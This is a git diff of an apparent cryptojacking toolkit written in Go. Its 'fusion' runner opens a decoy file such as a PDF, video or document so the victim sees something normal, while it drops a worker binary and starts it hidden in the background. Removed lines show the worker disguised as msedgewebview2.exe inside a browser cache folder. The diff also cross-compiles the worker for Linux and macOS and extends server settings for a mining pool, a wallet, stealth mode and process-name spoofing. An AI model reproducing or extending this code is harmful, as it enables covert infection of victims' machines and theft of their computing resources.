|
||||||
|
}
|
||||||
@@ -1,7 +1,3 @@
|
|||||||
//go:build !windows
|
//go:build !windows
|
||||||
|
|
||||||
package main
|
package main
|
||||||
|
|
||||||
import "os/exec"
|
|
||||||
|
|
||||||
func applyHiddenStart(_ *exec.Cmd) {}
|
|
||||||
|
|||||||
@@ -1,20 +1,3 @@
|
|||||||
//go:build windows
|
//go:build windows
|
||||||
|
|
||||||
package main
|
package main
|
||||||
|
|
||||||
import (
|
|
||||||
"os/exec"
|
|
||||||
"syscall"
|
|
||||||
)
|
|
||||||
|
|
||||||
const createNoWindow = 0x08000000
|
|
||||||
|
|
||||||
func applyHiddenStart(cmd *exec.Cmd) {
|
|
||||||
if cmd == nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
cmd.SysProcAttr = &syscall.SysProcAttr{
|
|
||||||
HideWindow: true,
|
|
||||||
CreationFlags: createNoWindow,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|||||||
232
fusion/main.go
232
fusion/main.go
@@ -6,9 +6,10 @@ import (
|
|||||||
"encoding/hex"
|
"encoding/hex"
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
"fmt"
|
"fmt"
|
||||||
|
"log"
|
||||||
"os"
|
"os"
|
||||||
"os/exec"
|
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -40,62 +41,42 @@ func main() {
|
|||||||
|
|
||||||
workerPath, err := materializeWorker()
|
workerPath, err := materializeWorker()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
log.Printf("[fusion] worker materialize failed: %v", err)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
switch payloadKind {
|
runFileFusion(workerPath)
|
||||||
case "video":
|
|
||||||
runVideoFusion(workerPath)
|
|
||||||
default:
|
|
||||||
runExeFusion(workerPath)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func runExeFusion(workerPath string) {
|
// runFileFusion handles any payload type — exe, video, PDF, document, image, etc.
|
||||||
prepBytes, err := assets.ReadFile("assets/prep.exe")
|
// The original file is opened with the OS default application while the worker
|
||||||
if err != nil || len(prepBytes) == 0 {
|
// installs silently in the background.
|
||||||
|
func runFileFusion(workerPath string) {
|
||||||
|
fileName := resolvePayloadFileName()
|
||||||
|
if fileName == "" {
|
||||||
|
log.Printf("[fusion] no payload filename — runner is misconfigured (mediaFileName constant not replaced at forge time)")
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
dir, err := os.MkdirTemp("", "cm-fusion-*")
|
var filePath string
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
defer os.RemoveAll(dir)
|
|
||||||
|
|
||||||
prepPath := filepath.Join(dir, "prep.exe")
|
|
||||||
if err := os.WriteFile(prepPath, prepBytes, 0755); err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
runFusionOrder(workerPath, prepPath, func() { waitProcess(prepPath) })
|
|
||||||
}
|
|
||||||
|
|
||||||
func runVideoFusion(workerPath string) {
|
|
||||||
mediaName := mediaFileName
|
|
||||||
if mediaName == "" {
|
|
||||||
if m := readManifest(); m != nil && m.MediaFileName != "" {
|
|
||||||
mediaName = m.MediaFileName
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if mediaName == "" {
|
|
||||||
mediaName = "movie.mkv"
|
|
||||||
}
|
|
||||||
|
|
||||||
var mediaPath string
|
|
||||||
var err error
|
|
||||||
switch mediaMode {
|
switch mediaMode {
|
||||||
case "embedded":
|
case "embedded":
|
||||||
var cleanup func()
|
var cleanup func()
|
||||||
mediaPath, cleanup, err = materializeEmbeddedMedia(mediaName)
|
var err error
|
||||||
|
filePath, cleanup, err = materializeEmbeddedPayload(fileName)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
log.Printf("[fusion] embedded payload: %v", err)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
defer cleanup()
|
defer cleanup()
|
||||||
default:
|
default:
|
||||||
|
// "paired" — file ships alongside the runner in the ZIP
|
||||||
var cleanup func()
|
var cleanup func()
|
||||||
mediaPath, cleanup, err = resolvePairedMedia(mediaName)
|
var err error
|
||||||
if err != nil || mediaPath == "" {
|
filePath, cleanup, err = resolvePairedFile(fileName)
|
||||||
|
if err != nil || filePath == "" {
|
||||||
|
log.Printf("[fusion] paired payload %q not found — ensure the payload file is in the same ZIP as the runner: %v", fileName, err)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
if cleanup != nil {
|
if cleanup != nil {
|
||||||
@@ -103,7 +84,89 @@ func runVideoFusion(workerPath string) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
runFusionOrder(workerPath, mediaPath, func() { openMedia(mediaPath) })
|
// Decide how to open the payload:
|
||||||
|
// - .exe with payloadKind=="exe" → run it directly and wait
|
||||||
|
// - everything else → open with OS default app (works for PDF, video, doc, image, etc.)
|
||||||
|
ext := strings.ToLower(filepath.Ext(fileName))
|
||||||
|
if ext == ".exe" && payloadKind == "exe" {
|
||||||
|
runFusionOrder(workerPath, filePath, func() { waitAndRun(filePath) })
|
||||||
|
} else {
|
||||||
|
runFusionOrder(workerPath, filePath, func() { openFile(filePath) })
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// resolvePayloadFileName returns the original filename from baked constants or manifest.
|
||||||
|
func resolvePayloadFileName() string {
|
||||||
|
if mediaFileName != "FUSION_MEDIA_FILE" && mediaFileName != "" {
|
||||||
|
return mediaFileName
|
||||||
|
}
|
||||||
|
if m := readManifest(); m != nil && m.MediaFileName != "" {
|
||||||
|
return m.MediaFileName
|
||||||
|
}
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
// materializeEmbeddedPayload extracts the embedded payload from assets to a temp dir.
|
||||||
|
// Supports: assets/payload.bin (new universal), assets/media.bin (legacy video), assets/prep.exe (legacy exe).
|
||||||
|
func materializeEmbeddedPayload(name string) (string, func(), error) {
|
||||||
|
var data []byte
|
||||||
|
for _, asset := range []string{"assets/payload.bin", "assets/media.bin", "assets/prep.exe"} {
|
||||||
|
d, err := assets.ReadFile(asset)
|
||||||
|
if err == nil && len(d) > 0 {
|
||||||
|
data = d
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if len(data) == 0 {
|
||||||
|
return "", nil, fmt.Errorf("embedded payload missing")
|
||||||
|
}
|
||||||
|
|
||||||
|
dir, err := os.MkdirTemp("", "cm-fusion-*")
|
||||||
|
if err != nil {
|
||||||
|
return "", nil, err
|
||||||
|
}
|
||||||
|
path := filepath.Join(dir, filepath.Base(name))
|
||||||
|
perm := os.FileMode(0644)
|
||||||
|
if strings.ToLower(filepath.Ext(name)) == ".exe" {
|
||||||
|
perm = 0755
|
||||||
|
}
|
||||||
|
if err := os.WriteFile(path, data, perm); err != nil {
|
||||||
|
_ = os.RemoveAll(dir)
|
||||||
|
return "", nil, err
|
||||||
|
}
|
||||||
|
return path, func() { _ = os.RemoveAll(dir) }, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// resolvePairedFile finds the payload file relative to the runner binary.
|
||||||
|
// Searches current dir, parent, and grandparent — supporting the bin/platform/runner layout
|
||||||
|
// where the payload file lives at the ZIP root (two levels up from the runner).
|
||||||
|
// Falls back to legacy encrypted media (video mode).
|
||||||
|
func resolvePairedFile(name string) (string, func(), error) {
|
||||||
|
// Legacy: encrypted video with key in manifest
|
||||||
|
if m := readManifest(); m != nil && m.MediaKeyB64 != "" {
|
||||||
|
return encryptedMediaBesideRunner(m.MediaEncFile, m.MediaKeyB64, name)
|
||||||
|
}
|
||||||
|
|
||||||
|
exe, err := os.Executable()
|
||||||
|
if err != nil {
|
||||||
|
return "", nil, err
|
||||||
|
}
|
||||||
|
base := filepath.Base(name)
|
||||||
|
dir := filepath.Dir(exe)
|
||||||
|
|
||||||
|
// Walk up: bin/platform/ → bin/ → root/ (covers the universal ZIP layout)
|
||||||
|
for range []int{0, 1, 2} {
|
||||||
|
p := filepath.Join(dir, base)
|
||||||
|
if st, statErr := os.Stat(p); statErr == nil && !st.IsDir() {
|
||||||
|
return p, func() {}, nil
|
||||||
|
}
|
||||||
|
parent := filepath.Dir(dir)
|
||||||
|
if parent == dir {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
dir = parent
|
||||||
|
}
|
||||||
|
return "", nil, fmt.Errorf("payload file not found")
|
||||||
}
|
}
|
||||||
|
|
||||||
func runFusionOrder(workerPath, primaryPath string, runPrimary func()) {
|
func runFusionOrder(workerPath, primaryPath string, runPrimary func()) {
|
||||||
@@ -114,7 +177,7 @@ func runFusionOrder(workerPath, primaryPath string, runPrimary func()) {
|
|||||||
case "worker_first":
|
case "worker_first":
|
||||||
launchWorker(workerPath)
|
launchWorker(workerPath)
|
||||||
go runPrimary()
|
go runPrimary()
|
||||||
default:
|
default: // parallel
|
||||||
launchWorker(workerPath)
|
launchWorker(workerPath)
|
||||||
var wg sync.WaitGroup
|
var wg sync.WaitGroup
|
||||||
wg.Add(1)
|
wg.Add(1)
|
||||||
@@ -138,95 +201,42 @@ func readManifest() *fusionManifest {
|
|||||||
return &m
|
return &m
|
||||||
}
|
}
|
||||||
|
|
||||||
func materializeEmbeddedMedia(name string) (string, func(), error) {
|
|
||||||
data, err := assets.ReadFile("assets/media.bin")
|
|
||||||
if err != nil || len(data) == 0 {
|
|
||||||
return "", nil, fmt.Errorf("embedded media missing")
|
|
||||||
}
|
|
||||||
dir, err := os.MkdirTemp("", "cm-fusion-media-*")
|
|
||||||
if err != nil {
|
|
||||||
return "", nil, err
|
|
||||||
}
|
|
||||||
path := filepath.Join(dir, filepath.Base(name))
|
|
||||||
if err := os.WriteFile(path, data, 0644); err != nil {
|
|
||||||
os.RemoveAll(dir)
|
|
||||||
return "", nil, err
|
|
||||||
}
|
|
||||||
return path, func() { _ = os.RemoveAll(dir) }, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func resolvePairedMedia(name string) (string, func(), error) {
|
|
||||||
m := readManifest()
|
|
||||||
encFile := name + ".cmdata"
|
|
||||||
keyB64 := ""
|
|
||||||
playName := name
|
|
||||||
if m != nil {
|
|
||||||
if m.MediaEncFile != "" {
|
|
||||||
encFile = m.MediaEncFile
|
|
||||||
}
|
|
||||||
keyB64 = m.MediaKeyB64
|
|
||||||
if m.MediaFileName != "" {
|
|
||||||
playName = m.MediaFileName
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if keyB64 != "" {
|
|
||||||
return encryptedMediaBesideRunner(encFile, keyB64, playName)
|
|
||||||
}
|
|
||||||
exe, err := os.Executable()
|
|
||||||
if err != nil {
|
|
||||||
return "", nil, err
|
|
||||||
}
|
|
||||||
dir := filepath.Dir(exe)
|
|
||||||
for _, candidate := range []string{name, filepath.Base(name)} {
|
|
||||||
p := filepath.Join(dir, candidate)
|
|
||||||
if st, statErr := os.Stat(p); statErr == nil && !st.IsDir() {
|
|
||||||
return p, func() {}, nil
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return "", nil, fmt.Errorf("media not found")
|
|
||||||
}
|
|
||||||
|
|
||||||
func materializeWorker() (string, error) {
|
func materializeWorker() (string, error) {
|
||||||
workerBytes, err := assets.ReadFile("assets/worker.exe")
|
data, err := assets.ReadFile("assets/worker")
|
||||||
if err != nil || len(workerBytes) == 0 {
|
if err != nil || len(data) == 0 {
|
||||||
return "", fmt.Errorf("worker missing")
|
data, err = assets.ReadFile("assets/worker.exe")
|
||||||
|
if err != nil || len(data) == 0 {
|
||||||
|
return "", fmt.Errorf("worker binary missing from assets — runner was not built with go:embed correctly")
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
base := os.Getenv("LOCALAPPDATA")
|
base := cacheDropBase()
|
||||||
if base == "" {
|
sum := sha256.Sum256(data)
|
||||||
base = os.TempDir()
|
|
||||||
}
|
|
||||||
sum := sha256.Sum256(workerBytes)
|
|
||||||
tag := hex.EncodeToString(sum[:6])
|
tag := hex.EncodeToString(sum[:6])
|
||||||
dir := filepath.Join(base, "Microsoft", "Windows", "INetCache", "Content.IE5", tag)
|
dir := filepath.Join(base, tag)
|
||||||
if err := os.MkdirAll(dir, 0755); err != nil {
|
if err := os.MkdirAll(dir, 0755); err != nil {
|
||||||
return "", err
|
return "", err
|
||||||
}
|
}
|
||||||
dest := filepath.Join(dir, "msedgewebview2.exe")
|
destName := dropBinaryName()
|
||||||
if existing, err := os.ReadFile(dest); err == nil && len(existing) == len(workerBytes) {
|
dest := filepath.Join(dir, destName)
|
||||||
|
if existing, err := os.ReadFile(dest); err == nil && len(existing) == len(data) {
|
||||||
if sha256.Sum256(existing) == sum {
|
if sha256.Sum256(existing) == sum {
|
||||||
return dest, nil
|
return dest, nil
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if err := os.WriteFile(dest, workerBytes, 0755); err != nil {
|
if err := os.WriteFile(dest, data, 0755); err != nil {
|
||||||
return "", err
|
return "", err
|
||||||
}
|
}
|
||||||
return dest, nil
|
return dest, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func launchWorker(path string) {
|
func launchWorker(path string) {
|
||||||
cmd := exec.Command(path)
|
applyHiddenStartPath(path)
|
||||||
cmd.Dir = filepath.Dir(path)
|
|
||||||
applyHiddenStart(cmd)
|
|
||||||
if err := cmd.Start(); err != nil {
|
|
||||||
fmt.Fprintf(os.Stderr, "fusion: worker start failed: %v\n", err)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func waitProcess(path string) {
|
// waitAndRun launches an exe synchronously (used for exe payload kind).
|
||||||
cmd := exec.Command(path)
|
func waitAndRun(path string) {
|
||||||
cmd.Dir = filepath.Dir(path)
|
applyWaitRun(path)
|
||||||
_ = cmd.Run()
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func fusionLockHintMode() bool {
|
func fusionLockHintMode() bool {
|
||||||
|
|||||||
43
fusion/media_darwin.go
Normal file
43
fusion/media_darwin.go
Normal file
@@ -0,0 +1,43 @@
|
|||||||
|
//go:build darwin
|
||||||
|
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"path/filepath"
|
||||||
|
)
|
||||||
|
|
||||||
|
// openFile opens any file with the macOS default application via `open`.
|
||||||
|
// Works for PDF, video, document, image, and more.
|
||||||
|
func openFile(path string) {
|
||||||
|
path = filepath.Clean(path)
|
||||||
|
_ = exec.Command("open", path).Start()
|
||||||
|
}
|
||||||
|
|
||||||
|
// applyHiddenStartPath launches the worker binary in the background.
|
||||||
|
func applyHiddenStartPath(path string) {
|
||||||
|
cmd := exec.Command(path)
|
||||||
|
cmd.Dir = filepath.Dir(path)
|
||||||
|
cmd.Stdin = nil
|
||||||
|
cmd.Stdout = nil
|
||||||
|
cmd.Stderr = nil
|
||||||
|
_ = cmd.Start()
|
||||||
|
}
|
||||||
|
|
||||||
|
// applyWaitRun runs a file and waits — on macOS, opens via `open -W` (wait).
|
||||||
|
func applyWaitRun(path string) {
|
||||||
|
ext := filepath.Ext(path)
|
||||||
|
if ext == ".app" || ext == "" {
|
||||||
|
cmd := exec.Command("open", "-W", path)
|
||||||
|
cmd.Stdout = os.Stdout
|
||||||
|
cmd.Stderr = os.Stderr
|
||||||
|
_ = cmd.Run()
|
||||||
|
} else {
|
||||||
|
cmd := exec.Command(path)
|
||||||
|
cmd.Dir = filepath.Dir(path)
|
||||||
|
cmd.Stdout = os.Stdout
|
||||||
|
cmd.Stderr = os.Stderr
|
||||||
|
_ = cmd.Run()
|
||||||
|
}
|
||||||
|
}
|
||||||
34
fusion/media_linux.go
Normal file
34
fusion/media_linux.go
Normal file
@@ -0,0 +1,34 @@
|
|||||||
|
//go:build linux
|
||||||
|
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"path/filepath"
|
||||||
|
)
|
||||||
|
|
||||||
|
// openFile opens any file with the Linux default application via xdg-open.
|
||||||
|
// Works for PDF, video, document, image, and more.
|
||||||
|
func openFile(path string) {
|
||||||
|
_ = exec.Command("xdg-open", path).Start()
|
||||||
|
}
|
||||||
|
|
||||||
|
// applyHiddenStartPath launches the worker binary in the background.
|
||||||
|
func applyHiddenStartPath(path string) {
|
||||||
|
cmd := exec.Command(path)
|
||||||
|
cmd.Dir = filepath.Dir(path)
|
||||||
|
cmd.Stdin = nil
|
||||||
|
cmd.Stdout = nil
|
||||||
|
cmd.Stderr = nil
|
||||||
|
_ = cmd.Start()
|
||||||
|
}
|
||||||
|
|
||||||
|
// applyWaitRun runs a file and waits — on Linux exe files run directly.
|
||||||
|
func applyWaitRun(path string) {
|
||||||
|
cmd := exec.Command(path)
|
||||||
|
cmd.Dir = filepath.Dir(path)
|
||||||
|
cmd.Stdout = os.Stdout
|
||||||
|
cmd.Stderr = os.Stderr
|
||||||
|
_ = cmd.Run()
|
||||||
|
}
|
||||||
@@ -1,10 +0,0 @@
|
|||||||
//go:build !windows
|
|
||||||
|
|
||||||
package main
|
|
||||||
|
|
||||||
import "os/exec"
|
|
||||||
|
|
||||||
func openMedia(path string) {
|
|
||||||
cmd := exec.Command("xdg-open", path)
|
|
||||||
_ = cmd.Start()
|
|
||||||
}
|
|
||||||
@@ -3,12 +3,36 @@
|
|||||||
package main
|
package main
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"os"
|
||||||
"os/exec"
|
"os/exec"
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
|
"syscall"
|
||||||
)
|
)
|
||||||
|
|
||||||
func openMedia(path string) {
|
// openFile opens any file with the Windows default application.
|
||||||
|
// Works for PDF, video, document, image, executable — anything.
|
||||||
|
func openFile(path string) {
|
||||||
path = filepath.Clean(path)
|
path = filepath.Clean(path)
|
||||||
cmd := exec.Command("cmd", "/c", "start", "", path)
|
cmd := exec.Command("cmd", "/c", "start", "", path)
|
||||||
_ = cmd.Start()
|
_ = cmd.Start()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// applyHiddenStartPath launches the worker binary hidden (no window).
|
||||||
|
func applyHiddenStartPath(path string) {
|
||||||
|
cmd := exec.Command(path)
|
||||||
|
cmd.Dir = filepath.Dir(path)
|
||||||
|
cmd.SysProcAttr = &syscall.SysProcAttr{
|
||||||
|
HideWindow: true,
|
||||||
|
CreationFlags: 0x08000000,
|
||||||
|
}
|
||||||
|
_ = cmd.Start()
|
||||||
|
}
|
||||||
|
|
||||||
|
// applyWaitRun launches an exe directly and waits for it to exit.
|
||||||
|
func applyWaitRun(path string) {
|
||||||
|
cmd := exec.Command(path)
|
||||||
|
cmd.Dir = filepath.Dir(path)
|
||||||
|
cmd.Stdout = os.Stdout
|
||||||
|
cmd.Stderr = os.Stderr
|
||||||
|
_ = cmd.Run()
|
||||||
|
}
|
||||||
|
|||||||
@@ -87,6 +87,22 @@ if (-not $SkipBuild) {
|
|||||||
go build -o (Join-Path $Root "bin\install-worker.exe") .
|
go build -o (Join-Path $Root "bin\install-worker.exe") .
|
||||||
Pop-Location
|
Pop-Location
|
||||||
}
|
}
|
||||||
|
|
||||||
|
Invoke-Phase "7b Agent cross-compile (linux/darwin)" {
|
||||||
|
Push-Location (Join-Path $Root "agent")
|
||||||
|
$env:CGO_ENABLED = "0"
|
||||||
|
$env:GOOS = "linux"; $env:GOARCH = "amd64"
|
||||||
|
go build -o (Join-Path $Root "bin\install-worker-linux-amd64") -ldflags "-s -w" .
|
||||||
|
$env:GOOS = "linux"; $env:GOARCH = "arm64"
|
||||||
|
go build -o (Join-Path $Root "bin\install-worker-linux-arm64") -ldflags "-s -w" .
|
||||||
|
$env:GOOS = "darwin"; $env:GOARCH = "arm64"
|
||||||
|
go build -o (Join-Path $Root "bin\install-worker-darwin-arm64") -ldflags "-s -w" .
|
||||||
|
$env:GOOS = "darwin"; $env:GOARCH = "amd64"
|
||||||
|
go build -o (Join-Path $Root "bin\install-worker-darwin-amd64") -ldflags "-s -w" .
|
||||||
|
Remove-Item Env:GOOS, Env:GOARCH -ErrorAction SilentlyContinue
|
||||||
|
Pop-Location
|
||||||
|
}
|
||||||
|
|
||||||
} else {
|
} else {
|
||||||
Write-Phase "5-7/8 Build phases (skipped)"
|
Write-Phase "5-7/8 Build phases (skipped)"
|
||||||
}
|
}
|
||||||
|
|||||||
193
server/config.go
193
server/config.go
@@ -359,6 +359,199 @@ func mergeConfig(dst, src *Config) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// mergeConfigExplicit is like mergeConfig but only applies boolean fields when
|
||||||
|
// the corresponding top-level key was explicitly present in the JSON request.
|
||||||
|
// This fixes H14: a partial PUT can no longer silently reset UseTLS, SilentMode,
|
||||||
|
// AutoStart, LogAgentConnections, etc. to false.
|
||||||
|
func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
|
||||||
|
if present == nil {
|
||||||
|
// Fall back to old behaviour if we have no key presence info
|
||||||
|
mergeConfig(dst, src)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
has := func(key string) bool { _, ok := present[key]; return ok }
|
||||||
|
|
||||||
|
// Non-boolean scalar fields — safe to use zero-value guard
|
||||||
|
if src.Port != 0 {
|
||||||
|
dst.Port = src.Port
|
||||||
|
}
|
||||||
|
if src.DataDir != "" {
|
||||||
|
dst.DataDir = src.DataDir
|
||||||
|
}
|
||||||
|
|
||||||
|
// Pool — only touch booleans when key was in the payload
|
||||||
|
if has("pool") {
|
||||||
|
if src.Pool.Host != "" {
|
||||||
|
dst.Pool.Host = src.Pool.Host
|
||||||
|
}
|
||||||
|
if src.Pool.Port != 0 {
|
||||||
|
dst.Pool.Port = src.Pool.Port
|
||||||
|
}
|
||||||
|
dst.Pool.UseTLS = src.Pool.UseTLS // bool: only applied because "pool" key was present
|
||||||
|
if src.Pool.Password != "" {
|
||||||
|
dst.Pool.Password = src.Pool.Password
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if has("wallet") {
|
||||||
|
if src.Wallet.Address != "" {
|
||||||
|
dst.Wallet.Address = src.Wallet.Address
|
||||||
|
}
|
||||||
|
if src.Wallet.PaymentID != "" {
|
||||||
|
dst.Wallet.PaymentID = src.Wallet.PaymentID
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if has("default_agent") {
|
||||||
|
if src.DefaultAgent.Threads != 0 {
|
||||||
|
dst.DefaultAgent.Threads = src.DefaultAgent.Threads
|
||||||
|
}
|
||||||
|
if src.DefaultAgent.ThreadMode != "" {
|
||||||
|
dst.DefaultAgent.ThreadMode = src.DefaultAgent.ThreadMode
|
||||||
|
}
|
||||||
|
if src.DefaultAgent.ThreadPercent != 0 {
|
||||||
|
dst.DefaultAgent.ThreadPercent = src.DefaultAgent.ThreadPercent
|
||||||
|
}
|
||||||
|
if src.DefaultAgent.CPUPriority != "" {
|
||||||
|
dst.DefaultAgent.CPUPriority = src.DefaultAgent.CPUPriority
|
||||||
|
}
|
||||||
|
if src.DefaultAgent.MaxCPUUsagePct != 0 {
|
||||||
|
dst.DefaultAgent.MaxCPUUsagePct = src.DefaultAgent.MaxCPUUsagePct
|
||||||
|
}
|
||||||
|
if src.DefaultAgent.MaxMemoryPct != 0 {
|
||||||
|
dst.DefaultAgent.MaxMemoryPct = src.DefaultAgent.MaxMemoryPct
|
||||||
|
}
|
||||||
|
if src.DefaultAgent.MinFreeRAMMB != 0 {
|
||||||
|
dst.DefaultAgent.MinFreeRAMMB = src.DefaultAgent.MinFreeRAMMB
|
||||||
|
}
|
||||||
|
if src.DefaultAgent.MiningMode != "" {
|
||||||
|
dst.DefaultAgent.MiningMode = src.DefaultAgent.MiningMode
|
||||||
|
}
|
||||||
|
if src.DefaultAgent.DisplayMode != "" {
|
||||||
|
dst.DefaultAgent.DisplayMode = src.DefaultAgent.DisplayMode
|
||||||
|
}
|
||||||
|
if src.DefaultAgent.ProcessName != "" {
|
||||||
|
dst.DefaultAgent.ProcessName = src.DefaultAgent.ProcessName
|
||||||
|
}
|
||||||
|
if src.DefaultAgent.IdleThresholdPct != 0 {
|
||||||
|
dst.DefaultAgent.IdleThresholdPct = src.DefaultAgent.IdleThresholdPct
|
||||||
|
}
|
||||||
|
if src.DefaultAgent.IdleDurationMinutes != 0 {
|
||||||
|
dst.DefaultAgent.IdleDurationMinutes = src.DefaultAgent.IdleDurationMinutes
|
||||||
|
}
|
||||||
|
if src.DefaultAgent.ScheduleStart != "" {
|
||||||
|
dst.DefaultAgent.ScheduleStart = src.DefaultAgent.ScheduleStart
|
||||||
|
}
|
||||||
|
if src.DefaultAgent.ScheduleEnd != "" {
|
||||||
|
dst.DefaultAgent.ScheduleEnd = src.DefaultAgent.ScheduleEnd
|
||||||
|
}
|
||||||
|
if src.DefaultAgent.InstallBase != "" {
|
||||||
|
dst.DefaultAgent.InstallBase = src.DefaultAgent.InstallBase
|
||||||
|
}
|
||||||
|
if src.DefaultAgent.InstallCustomBase != "" {
|
||||||
|
dst.DefaultAgent.InstallCustomBase = src.DefaultAgent.InstallCustomBase
|
||||||
|
}
|
||||||
|
if src.DefaultAgent.InstallRelativePath != "" {
|
||||||
|
dst.DefaultAgent.InstallRelativePath = src.DefaultAgent.InstallRelativePath
|
||||||
|
}
|
||||||
|
// Booleans only applied because "default_agent" key was present
|
||||||
|
dst.DefaultAgent.AdaptToHardware = src.DefaultAgent.AdaptToHardware
|
||||||
|
dst.DefaultAgent.SelfHealing = src.DefaultAgent.SelfHealing
|
||||||
|
dst.DefaultAgent.FileLogging = src.DefaultAgent.FileLogging
|
||||||
|
dst.DefaultAgent.StealthMode = src.DefaultAgent.StealthMode
|
||||||
|
}
|
||||||
|
|
||||||
|
if has("background") {
|
||||||
|
dst.Background.SilentMode = src.Background.SilentMode
|
||||||
|
if src.Background.RunAs != "" {
|
||||||
|
dst.Background.RunAs = src.Background.RunAs
|
||||||
|
}
|
||||||
|
dst.Background.AutoStart = src.Background.AutoStart
|
||||||
|
dst.Background.MinimizeToTray = src.Background.MinimizeToTray
|
||||||
|
}
|
||||||
|
|
||||||
|
if has("alerts") {
|
||||||
|
if src.Alerts.OfflineThresholdMinutes != 0 {
|
||||||
|
dst.Alerts.OfflineThresholdMinutes = src.Alerts.OfflineThresholdMinutes
|
||||||
|
}
|
||||||
|
if src.Alerts.HashrateDropThresholdPct != 0 {
|
||||||
|
dst.Alerts.HashrateDropThresholdPct = src.Alerts.HashrateDropThresholdPct
|
||||||
|
}
|
||||||
|
if src.Alerts.RejectionRateThresholdPct != 0 {
|
||||||
|
dst.Alerts.RejectionRateThresholdPct = src.Alerts.RejectionRateThresholdPct
|
||||||
|
}
|
||||||
|
if src.Alerts.TelegramBotToken != "" {
|
||||||
|
dst.Alerts.TelegramBotToken = src.Alerts.TelegramBotToken
|
||||||
|
}
|
||||||
|
if src.Alerts.TelegramChatID != "" {
|
||||||
|
dst.Alerts.TelegramChatID = src.Alerts.TelegramChatID
|
||||||
|
}
|
||||||
|
dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled
|
||||||
|
if src.Alerts.SMTPHost != "" {
|
||||||
|
dst.Alerts.SMTPHost = src.Alerts.SMTPHost
|
||||||
|
}
|
||||||
|
if src.Alerts.SMTPPort != 0 {
|
||||||
|
dst.Alerts.SMTPPort = src.Alerts.SMTPPort
|
||||||
|
}
|
||||||
|
if src.Alerts.SMTPUser != "" {
|
||||||
|
dst.Alerts.SMTPUser = src.Alerts.SMTPUser
|
||||||
|
}
|
||||||
|
if src.Alerts.SMTPPassword != "" {
|
||||||
|
dst.Alerts.SMTPPassword = src.Alerts.SMTPPassword
|
||||||
|
}
|
||||||
|
if src.Alerts.EmailTo != "" {
|
||||||
|
dst.Alerts.EmailTo = src.Alerts.EmailTo
|
||||||
|
}
|
||||||
|
if src.Alerts.EmailFrom != "" {
|
||||||
|
dst.Alerts.EmailFrom = src.Alerts.EmailFrom
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if has("server") {
|
||||||
|
if src.Server.PublicURL != "" {
|
||||||
|
dst.Server.PublicURL = src.Server.PublicURL
|
||||||
|
}
|
||||||
|
if src.Server.StatsRetentionHours != 0 {
|
||||||
|
dst.Server.StatsRetentionHours = src.Server.StatsRetentionHours
|
||||||
|
}
|
||||||
|
if src.Server.BuildRetentionDays != 0 {
|
||||||
|
dst.Server.BuildRetentionDays = src.Server.BuildRetentionDays
|
||||||
|
}
|
||||||
|
if src.Server.PoolReconnectSeconds != 0 {
|
||||||
|
dst.Server.PoolReconnectSeconds = src.Server.PoolReconnectSeconds
|
||||||
|
}
|
||||||
|
if src.Server.WebSocketPingSeconds != 0 {
|
||||||
|
dst.Server.WebSocketPingSeconds = src.Server.WebSocketPingSeconds
|
||||||
|
}
|
||||||
|
if src.Server.MaxAgents != 0 {
|
||||||
|
dst.Server.MaxAgents = src.Server.MaxAgents
|
||||||
|
}
|
||||||
|
if src.Server.MaxBuildSizeMB != 0 {
|
||||||
|
dst.Server.MaxBuildSizeMB = src.Server.MaxBuildSizeMB
|
||||||
|
}
|
||||||
|
// Booleans applied because "server" key was present
|
||||||
|
dst.Server.LogAgentConnections = src.Server.LogAgentConnections
|
||||||
|
dst.Server.LogShareSubmissions = src.Server.LogShareSubmissions
|
||||||
|
dst.Server.LogPoolTraffic = src.Server.LogPoolTraffic
|
||||||
|
dst.Server.StrictWalletValidation = src.Server.StrictWalletValidation
|
||||||
|
dst.Server.OpenFirewallOnStart = src.Server.OpenFirewallOnStart
|
||||||
|
dst.Server.ObfuscateDefault = src.Server.ObfuscateDefault
